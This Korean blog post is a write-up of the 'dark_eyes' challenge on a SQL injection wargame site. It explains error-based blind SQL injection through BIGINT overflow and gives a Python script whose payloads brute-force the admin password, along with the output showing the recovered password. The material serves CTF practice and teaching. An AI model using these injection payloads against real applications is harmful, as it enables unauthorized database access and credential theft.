LoS - Dark_Eyes

IKKI·2019년 12월 22일
0

LoS

목록 보기
3/4

LoS - Dark_Eyes

이번문제는 if문과 when,case등 조건문들을 사용할 수 없는 상황에서의 에러기반 Blind Sql Injection문제이다.
이번 문제에서 어떻게든 필터링이 안되는 조건문을 찾아보겠답시고 3시간가량을 삽질을했고 결국 롤을 한판하고나니 번뜩하고 아이디어가 떠올랐다.

내가 생각한 방식은 모든 프로그래밍언어(mysql은 프로그래밍언어인가?)에는 자료형이 있으며, 각각의 자료형에는 크기(SIZE)가 존재한다. 또한 mysql은 각 문자에 대한 ascii코드를 구할수 있는 내장함수가 존재하므로 다음과 같은 공식을 적용하면 overflow가 일어나서 에러를 발생시키지 않을까라고 생각하였다.

[공식] ascii(mid()) + int_max - *asciicode* 

*asciicode 부분은 for문으로 asc코드값을 돌린후 해당 값을 int_max에서빼주어서 원본문자의 ascii코드값과 for문속의 ascii코드값이 일치할경우 정확하게 int_max는 오버플로우되지않고 에러를 일으키지 않게 한다.

그리고 나서 mysql의 bigint의 size를 알아보았고 big int가 unsigned로 선언된게 아닌경우 다음의 크기를 최대값으로 가진다는 것을 알았다.

나는 mysql의 bigint의 size를 알아보았고 big int가 unsigned로 선언된게 아닌경우 다음의 크기를 최대값으로 가진다는 것을 알았다.

9223372036854775807(MAX)

Exploit

Python Code

sql.setProb("dark_eyes")
    big_int = 9223372036854775807
    #FIND PWLEN
    for i in range(100):
        sql.setData(pw="' or id='admin' and length(pw) %2B "+str(big_int-i)+" %23")
        sql.run(out=False)
        sql.load("Payload -> "+str(i))
        if sql.result != "" :
            pwlen = i
            sql.log("PWLEN : "+str(i))
            break
    #FIND PW
    pw=""
    for pos in range(1,pwlen+1):
        for asc in range(48,127):
            sql.setData(pw="' or id='admin' and ascii(mid(pw,{p},1)) %2B {bi} %23".format(p=pos,bi=big_int-asc))
            sql.run(out=False)
            sql.load("Pw -> "+pw)
            if sql.result != "":
                pw+=chr(asc)
                sql.load("Pw -> "+pw)
                break
    #Exploit
    sql.setData(pw=pw)
    sql.run()

OUTPUT

 [%] Payload -> 8
 [+] PWLEN : 8
 [%] Pw -> 5a2f5d3c
 [+] DATA : https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=5a2f5d3c

 [*] ANSWER ▽ 
DARK_EYES Clear!
profile
한걸음

0개의 댓글